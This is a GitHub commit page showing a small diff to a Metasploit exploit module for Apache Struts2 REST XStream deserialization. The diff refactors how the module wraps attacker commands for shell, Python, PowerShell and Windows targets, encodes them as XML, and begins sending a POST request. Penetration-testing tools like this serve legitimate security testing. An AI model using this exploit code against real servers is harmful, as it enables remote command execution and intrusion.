Skip to content

Commit a9a3075

Browse files
committed
Assign cmd to entire case and use encode for XML
Hat tip @acammack-r7. Forgot about that first syntax!
1 parent 8f1e353 commit a9a3075

File tree

1 file changed

+7
-9
lines changed

1 file changed

+7
-9
lines changed

modules/exploits/multi/http/struts2_rest_xstream.rb

Lines changed: 7 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -86,21 +86,19 @@ def exploit
8686
#
8787

8888
def execute_command(cmd, opts = {})
89-
case target.name
89+
cmd = case target.name
9090
when /Unix/, /Linux/
91-
cmd = %W{/bin/sh -c #{cmd}}
91+
%W{/bin/sh -c #{cmd}}
9292
when /Python/
93-
cmd = %W{python -c #{cmd}}
93+
%W{python -c #{cmd}}
9494
when /PowerShell/
95-
# This shit doesn't work yet
96-
require 'pry'; binding.pry
97-
cmd = %W{cmd.exe /c #{cmd_psh_payload(cmd, payload.arch, remove_comspec: true)}}
95+
%W{cmd.exe /c #{cmd_psh_payload(cmd, payload.arch, remove_comspec: true)}}
9896
when /Windows/
99-
cmd = %W{cmd.exe /c #{cmd}}
97+
%W{cmd.exe /c #{cmd}}
10098
end
10199

102-
# Encode each command argument with HTML entities
103-
cmd.map! { |arg| Rex::Text.html_encode(arg) }
100+
# Encode each command argument with XML entities
101+
cmd.map! { |arg| arg.encode(xml: :text) }
104102

105103
res = send_request_cgi(
106104
'method' => 'POST',

0 commit comments

Comments
 (0)